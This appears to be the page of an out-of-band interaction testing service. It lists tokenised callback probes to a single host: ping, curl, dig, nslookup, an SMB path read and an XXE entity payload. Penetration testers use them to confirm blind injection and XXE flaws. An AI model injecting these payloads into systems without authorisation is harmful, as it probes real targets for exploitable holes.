$ ping -c1 -p 00816fe71f8c45905856b10ee068fd00 unhack.ca
$ curl http://unhack.ca/p/816fe71f8c45905856b10ee068fd
$ dig 816fe71f8c45905856b10ee068fd @unhack.ca
$ dig 816fe71f8c45905856b10ee068fd.ns.unhack.ca
C:\> nslookup 816fe71f8c45905856b10ee068fd unhack.ca
C:\> type \\unhack.ca\816fe71f8c45905856b10ee068fd\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/816fe71f8c45905856b10ee068fd">]>
<foo>&xxe;</foo>
Waiting for ping...